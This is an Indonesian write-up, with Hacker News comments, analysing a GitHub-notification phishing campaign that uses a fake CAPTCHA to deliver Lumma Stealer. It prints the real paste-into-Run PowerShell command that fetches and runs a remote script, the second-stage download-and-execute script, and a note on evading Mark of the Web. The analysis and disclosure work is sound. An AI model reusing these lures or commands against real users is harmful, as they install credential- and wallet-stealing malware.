- Penyerang memanfaatkan alur notifikasi normal dari repositori publik untuk menyampaikan pesan berbahaya kepada pemilik repositori yang tampak seperti email yang benar-benar dikirim oleh GitHub
- Karena sebagian besar isi email dapat disusun oleh penyerang, memeriksa hanya pengirim dan tautan saja membuat upaya membedakan phishing menjadi sulit
- Saat tautan diklik, halaman CAPTCHA palsu akan muncul dan mengarahkan pengguna untuk menempelkan perintah PowerShell ke jendela Run Windows sehingga unduhan malware dimulai
- File diunduh melalui
.NET milik PowerShell, System.Net.WebClient.DownloadFile, sehingga tidak diberi Mark of the Web dan dapat menghindari peringatan tanda tangan Windows
- Payload akhirnya terhubung dengan malware yang dideteksi banyak antivirus di VirusTotal sebagai LUMMASTEALER, keluarga stealer yang memburu kredensial, dompet kripto, dan data sensitif
Alur serangan yang memanfaatkan email notifikasi GitHub
- Pemilik repositori publik sering menerima email notifikasi aktivitas dari GitHub seperti issue, komentar, dan Pull Request
- Penyerang menyalahgunakan sistem notifikasi normal ini dengan urutan berikut
- Membuat issue di repositori publik menggunakan akun GitHub sekali pakai
- Menghapus issue tersebut dengan cepat
- Pemilik repositori menerima email notifikasi yang dikirim GitHub
- Saat penerima mengklik tautan di email, mereka diarahkan ke situs berbahaya
- Jika mengikuti instruksi, sistem akan terinfeksi malware
- Isi email yang sebenarnya menyatakan bahwa kerentanan keamanan telah ditemukan dan meminta korban melihat informasi lebih lanjut di
github-scanner[.]com, sambil menyamar sebagai “Github Security Team”
Mengapa emailnya terlihat meyakinkan
- Email tersebut adalah notifikasi yang benar-benar dikirim oleh GitHub, sehingga lolos dari banyak pemeriksaan phishing umum
- Pengirim email memang GitHub
- Tautan di isi email memang mengarah ke tujuan yang ditampilkan
- Sulit menilai situasi sebenarnya hanya dari bagian email yang tidak dikendalikan penyerang
- Fakta bahwa email itu dipicu oleh pembuatan issue baru tidak terlihat cukup jelas di dalam email
- Penyerang dapat membangun konteks apa pun yang mereka inginkan lewat teks isi email
- Untuk mengurangi efektivitas serangan, email notifikasi GitHub dapat diperbaiki dalam hal berikut
- Memberikan lebih banyak konteks tentang tindakan apa yang memicu email
- Mengurangi porsi konten yang dikendalikan penyerang
- Memperjelas identitas pengirim email
- Email terkait dan kekhawatiran ini telah disampaikan ke GitHub Security yang sebenarnya
CAPTCHA palsu dan eksekusi PowerShell
- Jika mengikuti tautan di email, pengguna akan melihat halaman yang tampak seperti CAPTCHA
- Permintaan untuk membuktikan bahwa pengguna adalah manusia lewat CAPTCHA mungkin tidak terasa asing karena tantangan otomatis dari layanan seperti Cloudflare
- Namun halaman ini bukan CAPTCHA pemilihan gambar biasa, melainkan meminta pengguna membuka jendela Run Windows dan menempelkan perintah
- Perintah tahap pertama yang dimasukkan ke clipboard membuka jendela PowerShell tersembunyi lalu mengunduh dan menjalankan skrip jarak jauh
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
iex adalah alias untuk Invoke-Expression, dan iwr adalah alias untuk Invoke-WebRequest
- Ini bekerja dengan bentuk yang serupa dengan menjalankan
curl | bash di Linux
- Komentar di akhir perintah menutupi bagian awal karena keterbatasan ukuran jendela Run Windows, sehingga bagi pengguna terlihat seperti kalimat verifikasi CAPTCHA
Unduhan tahap kedua dan penghindaran peringatan Windows
- Skrip yang diunduh kemudian mengunduh
github-scanner[.]com/l6E.exe, menyimpannya sebagai SysSetup.exe di folder sementara, lalu menjalankannya
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
- Berkas executable itu memiliki tanda tangan digital, tetapi tanda tangan pada biner berbahaya tersebut tidak valid
- Tanda tangannya tampak seolah berasal dari Spotify, tetapi setelah berdiskusi dengan DigiCert disimpulkan bahwa itu bukan sertifikat curian melainkan tanda tangan spoofed
- Windows menentukan apakah sebuah file diunduh dari internet melalui flag Mark of the Web (MOTW)
- Browser dan sejenisnya dapat menetapkan flag ini pada file hasil unduhan
- Perangkat lunak seperti Office dapat mengubah perilaku berdasarkan flag tersebut
- Jika executable yang sama diunduh lewat browser, Windows akan memperingatkan bahwa tanda tangannya tidak valid
- Namun dalam alur korban, file diunduh bukan oleh browser melainkan oleh
.NET Framework milik PowerShell, System.Net.WebClient.DownloadFile
- Metode ini tidak menetapkan flag MOTW pada file yang diunduh
- Windows hanya menampilkan peringatan eksekusi untuk tanda tangan digital yang tidak valid jika MOTW ada
- Karena MOTW dapat dihapus dengan mudah, pendekatan yang bergantung pada flag ini tidak aman
- Dua kelemahan Windows yang terkait telah dilaporkan ke Microsoft
Analisis loader dan payload akhir
- Executable tersebut menunjukkan jejak terkait .NET di Ghidra, sehingga dianalisis lebih lanjut dengan dotPeek
- Alur intinya ada pada entry point dan metode
PersonalActivation
- Entry point menyembunyikan jendela konsol
- Ia memanggil
PersonalActivation dua kali dari thread latar belakang
- Ia menandai area memori sebagai dapat dieksekusi dengan
VirtualProtect
- Lalu mengeksekusinya dengan
CallWindowProcW
PersonalActivation menerima daftar yang tidak digunakan dan dua array byte
- Array pertama tampak seperti buffer data
- Array kedua ditandai sebagai
key
- Ia melakukan banyak operasi matematika dan tampak seperti semacam rutinitas dekripsi
- Setelah mematikan komentar panggilan
VirtualProtect dan CallWindowProcW, buffer hasil dekripsi diperiksa di debugger
- Buffer pertama berisi
CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread, dan lainnya
- Jalur
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe juga muncul
- Buffer kedua berbentuk file executable Windows dengan header
MZ dan PE
- Loader memuat exe yang “terenkripsi” dalam array byte besar di bagian atas ke memori, menjadikannya dapat dieksekusi, lalu menjalankannya
Deteksi Lumma Stealer dan alat yang digunakan
- Tahap akhir adalah executable Windows non-.NET, sehingga analisis lanjutan terbatas jika hanya mengandalkan output Ghidra
- Kedua biner tersebut sudah terdeteksi oleh banyak antivirus di VirusTotal
- Nama deteksinya sama-sama menampilkan pola LUMMASTEALER
- Lumma adalah salah satu operasi malware berbentuk “malware as a service”
- Kode stealer mencari dompet kripto, kredensial tersimpan, dan data sensitif
- Data yang dikumpulkan dikirim ke server command-and-control (C2)
- Setelah itu bisa berujung pada pencurian uang atau penjualan data
- Malware Lumma tidak cenderung mengenkripsi perangkat korban seperti ransomware tradisional
- Sebagai bahan tambahan terkait Lumma, direkomendasikan artikel Cyfirma tentang taktik, dampak, dan strategi pertahanan Lumma Stealer
- Alat yang digunakan dalam analisis adalah Windows Sandbox, Ghidra, dotPeek, HxD, dan Visual Studio
1 komentar
Opini Hacker News
Rasanya sulit percaya ada orang yang benar-benar tertipu oleh penipuan seperti ini
Pertama, dari tangkapan layar saja memang belum jelas, tetapi jika diasumsikan penulis tahu bahwa email itu berasal dari GitHub, tanda bahaya pertama adalah tautannya mengarah ke github-scanner.com, variasi dari domain asli
Jika tidak tahu github-scanner.com milik siapa, lebih aman menganggapnya sebagai penipuan hanya karena terlihat seperti situs sungguhan yang meyakinkan
Tanda bahaya besar adalah CAPTCHA yang meminta kita memasukkan perintah ke shell, dan tidak banyak lagi yang bisa dikatakan soal seberapa polos seseorang harus sampai menjalankannya
Tidak ada orang yang sempurna, dan semakin banyak unsur yang membangun kepercayaan, kemungkinan tingkat konversinya juga meningkat
Jika penglihatan sedang kurang baik, dikejar waktu, atau dalam kondisi lelah dan terkuras, target yang biasanya sulit ditipu pun bisa menjadi lebih mudah tertipu
Jika otomatisasi skala besar memungkinkan, tingkat konversi rendah pun bisa berujung pada banyak akun yang diambil alih
Kelihatannya tidak jauh berbeda dari menyiapkan kunci SSH, dan pengguna baru memang mengalami alur menyalin dan menempel perintah yang dikirimkan GitHub
Jelas itu kemungkinan besar malware, jadi saya langsung menghapus komentar-komentarnya lalu melaporkan akun-akunnya ke GitHub
Saya tidak akan tertipu oleh trik seterang itu, tetapi orang yang mengajukan pertanyaan awal tampaknya tidak teknis jika dilihat dari riwayat aktivitas GitHub dan kualitas pertanyaannya
Jika ia sedang dalam kondisi ingin cepat mencoba apa saja tanpa melihatnya secara kritis, sepertinya ia bisa saja tertipu
Citi dan PayPal juga melakukannya pada sebagian email, dan itu selalu menjengkelkan
Bulan lalu di sebuah konferensi, CEO perusahaan keamanan siber memberikan keynote yang isinya, dalam beberapa kasus, lebih dari 80% pengguna masih tertipu penipuan email, jadi mereka butuh lebih banyak uang
Pertanyaan serius saya kepada pembicara itu adalah: jika setelah jutaan dolar dan hampir 25 tahun lebih dari 80% pengguna masih mengeklik tautan yang salah, bukankah berarti ada sesuatu yang secara mendasar keliru dalam pendekatan kita?
Baru-baru ini saya menerima email yang jauh lebih meyakinkan dari PayPal
Seseorang mengirimkan estimasi harga, tampaknya melalui fitur yang bisa dipakai tanpa diminta, lalu mengatur nama perusahaannya menjadi semacam “PayPal perlu menghubungi Anda terkait pembayaran terbaru sebesar $499.00, hubungi +1-...”
Jadi karena teks “mengirimkan estimasi $xxx kepada Anda” pada email estimasi PayPal, nama perusahaan itu memenuhi sebagian besar teks di bagian atas
Email ini benar-benar datang dari PayPal.com, dan saya tidak mengerti bagaimana perusahaan pemroses pembayaran belum bisa mencegah masalah nama pengguna seperti ini
Saya sudah melaporkannya tetapi tidak ada jawaban, dan mereka seharusnya melarang bukan hanya akun itu, melainkan seluruh pola nama seperti itu
Formatnya benar-benar terlihat seperti email PayPal yang sah, dan saya rasa banyak orang biasa akan tertipu oleh penipuan ini
Jika menginginkan emailnya, hubungi saya melalui situs web di profil saya
Saat login ke PayPal, tidak ada apa pun yang muncul di situs webnya
Jika ada sesuatu yang diperlukan, mereka seharusnya menelepon langsung, menuliskannya di email, atau menampilkannya di portal
Selain alasan keamanan, siapa pun yang pernah mengutak-atik HTML selama 5 menit bisa membuat email yang “terlihat asli”
Win+R, CTRL+V
Dari CAPTCHA menuju jebakan
Kalau developer junior, rasanya bisa saja tertipu. Polanya seperti, “Karena ini GitHub, pasti sah, kan? Notifikasi keamanan untuk library yang kita pakai juga datang tiap dua bulan sekali.”
Mereka juga bisa berpikir, “Oh, CAPTCHA yang diselesaikan dengan menjalankan kode, menarik juga!”
Halaman web seharusnya tidak boleh mengisi clipboard hanya dengan klik; menurut saya perlu ada pratinjau isi
Mungkin orang mengira meminta tindakan pengguna seperti klik akan menyelesaikan masalah, tetapi itu masih terlalu lemah, dan ini masalah pertama
Orang harus berhenti menjalankan begitu saja tautan dari email atau percaya bahwa isi email punya legitimasi. Isi email itu sendiri tidak punya legitimasi, dan ini masalah kedua
Ketiga, apakah Windows masih membiarkan satu baris PowerShell mengambil alih mesin setara hak root?
GitHub juga mungkin harus mencegah layanan otomatis memasukkan tautan ke issue dari jarak jauh jika belum dipastikan sebagai konten yang sah
Mereka mengirimkan ini ke email orang-orang, jadi jangan bilang tidak tahu bahwa ini bisa dipakai untuk phishing. Ini bahkan menurut standar 2015 pun adalah dasar-dasar keamanan siber
Terakhir, jika GitHub tidak bisa melakukan langkah-langkah di atas, mereka sebaiknya lebih banyak menghapus isi email yang dikirim ke orang-orang dan, seperti bank, hanya mengirim semacam “Ada issue baru di repositori ini...”
Kalau begitu, saat pengguna masuk, pesannya tidak ada, dan selesai. Rasanya GitHub perlu lebih dewasa dalam hal ini
Menurut saya orang perlu dilatih dengan benar tentang apa yang berbahaya
Soal Windows, setidaknya dua orang karyawan sudah meminta agar mereka bisa lepas dari Windows. Saya akan melakukan yang terbaik, dan ini proyek yang sudah lama berjalan, tetapi pada akhirnya akan kami tuntaskan
Ikon perisai pada tangkapan layar dialog “Run” jelas menunjukkan bahwa itu pengguna dengan hak administrator dan UAC dimatikan
Kalau begitu, giliran kita menangisi Linux yang membiarkan satu baris
curl malware.zyx/evilscript | bashmerebut hak rootStrategi clipboard juga seharusnya terlihat mudah diblokir. Kebanyakan penipu hanya meyakinkan orang lewat telepon untuk mengetik langsung URL yang disamarkan dengan baik ke dialog Run
Benar, saya adalah pengguna Windows 10x
Kita bisa memperlakukan Windows sebagai “root” karena kita memang root, tepatnya karena instalasi Windows selalu membuat akun pengguna pertama sebagai akun administrator
Ini keunggulan. Kita bisa melakukan apa yang kita mau di komputer yang kita miliki dan gunakan
Di era ketika sistem operasi makin terkunci sehingga pengguna tidak benar-benar memiliki dan mengelola komputernya, Windows membiarkannya begitu saja
Tolong jangan pernah ubah hal ini
Singkatnya, jangan klik tautan di email
Apakah github-scanner.com dan github-scanner.shop masih pelaku jahat yang sama? Sepertinya begitu
Lucu juga DNS-nya ada di Cloudflare. Cloudflare terkenal mengatakan “kami tidak meng-host apa pun”, tetapi rasanya mereka menganggap kita semua bodoh
Tampaknya tidak ada cara untuk melaporkan penyalahgunaan seperti ini ke Cloudflare yang tidak mau bertanggung jawab apa pun
Domain 2x.si yang meng-host malware memakai DNS Cloudflare dan hosting-nya juga Cloudflare
Setidaknya ini bisa dilaporkan ke Cloudflare, tetapi formulir laporan penyalahgunaannya membatasi kecepatan manusia dan bahkan meminta CAPTCHA
Hanya bisa menghela napas. Berkat Cloudflare, sekarang phishing dan hosting malware jadi terlalu mudah
Begitu menurut pengalaman saya berurusan dengan keduanya
Di halaman itu ada Phishing & Malware sebagai jenis penyalahgunaan yang bisa dipilih
Ini lebih mirip gerutuan daripada komentar keamanan yang serius, tetapi saya selalu terganggu dengan kriteria gagal tes phishing yang berupa “mengklik sembarang tautan di dalam email”
Bukankah yang sebenarnya lebih inti adalah apakah pengguna memasukkan kredensial ke situs phishing, atau mengunduh lalu membuka file?
Saya paham lebih mudah mengajari pengguna nonteknis agar tidak mengklik tautan buruk sama sekali, dan kerentanan browser juga ada, tetapi tetap saja terasa mengganggu
Saya sering melihat tulisan seperti ini pada akhirnya berujung pada pengguna memasukkan kredensial, memberi izin aneh ke browser, mengunduh file, atau seperti kali ini, menjalankan perintah
Saya hampir tidak pernah melihat kasus yang berakhir dengan “mengklik tautan lalu 0-day browser meledak, selesai”
Browser web memang punya permukaan serangan yang luas, tetapi pada saat yang sama juga alat yang dibuat untuk menjelajahi internet
Kebanyakan orang cukup santai mengklik tautan saat bekerja atau melakukan riset
Defense in depth memang perlu, tetapi kebijakan keamanan yang menjadikan “jangan pernah mengunjungi situs web berbahaya” sebagai prinsip inti tampak cukup cacat
Ada cara lain: pakai Qubes OS, buka tautan hanya di mesin virtual sekali pakai, dan jangan masukkan informasi lebih dari itu
Saat menerima email verifikasi alamat email akun baru, biasanya saya melakukan seperti itu
Toh mengklik tautan tidak selalu bisa dihindari, bukan
Saat membaca bagian “penyerang dengan cepat menghapus issue”, saya sadar bahwa saya belum pernah menghapus issue yang saya buat
Tapi bukankah hanya orang dengan izin admin yang bisa menghapus issue dari repositori? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
Kalau begitu, sebenarnya jejak issue itu masih tertinggal di repositori, dan pull request juga sama
Klaim bahwa tidak ada yang memberi tahu bahwa email itu terkait issue baru adalah keliru
“(Issue #1)” pada judul persis berarti itu
Saya juga benar-benar menerima email yang sama, dan langsung tahu bahwa sebuah issue baru telah dibuat di repositori
Pengguna ini jelas tidak terbiasa dengan GitHub Issues, seperti terlihat juga dari fakta bahwa itu adalah issue pertama di repositori
Sepertinya GitHub perlu mengajari pengguna baru dengan lebih baik
Orang-orang seperti ini benar-benar mudah tertipu
Orang teknis mungkin bisa menyadarinya, tetapi itu bukan alasan pembenar bagi GitHub untuk tidak berbuat lebih baik
Pagi ini saya menerima salah satu notifikasi seperti ini dan langsung mengabaikannya
Yang lucu, targetnya justru repositori ini: https://github.com/kyledrake/theftcoinjs
Ini tulisan yang layak dibaca. Menunjukkan apa yang coba dilakukan para penyerang
Dari tautannya saja memang mudah untuk curiga, tetapi menarik melihat proses seseorang menggalinya
Pagi ini saya mengunggah bug di sebuah repositori GitHub, dan belum sampai 1 menit seseorang memberi jawaban kira-kira seperti ini
“Coba ini. Sepertinya akan memperbaiki masalahnya. Kalau butuh compiler, instal GCC”
Lalu disertai tautan Bitly yang mengalihkan ke file zip di MediaFire, plus kata sandi
GitHub memproses laporan penyalahgunaan saya dalam waktu satu jam dan menghapus semua postingan pengguna itu
Astaga, saya juga menerima email notifikasi GitHub yang mirip
Isinya mengatakan ada kerentanan yang terdeteksi di repositori, dan sebelum melihat berita ini saya tidak terpikir bahwa itu palsu
Untungnya, karena saya programmer pemalas, saya tidak mengekliknya. Sekali ditulis ya sudah; meski saya menulis ulang kode, saya tidak mencari dan memperbaiki bug di kode saya sendiri
Ini fitur GitHub yang memberi tahu kerentanan keamanan pada dependensi proyek
Misalnya, jika Anda menggunakan Python dan mencantumkan library
requestsdirequirements.txt, GitHub akan memberi tahu lewat email tentang kerentanan yang telah dipublikasikan pada library tersebut dan menyarankan Anda menaikkan ke versi lebih baru yang sudah diperbaiki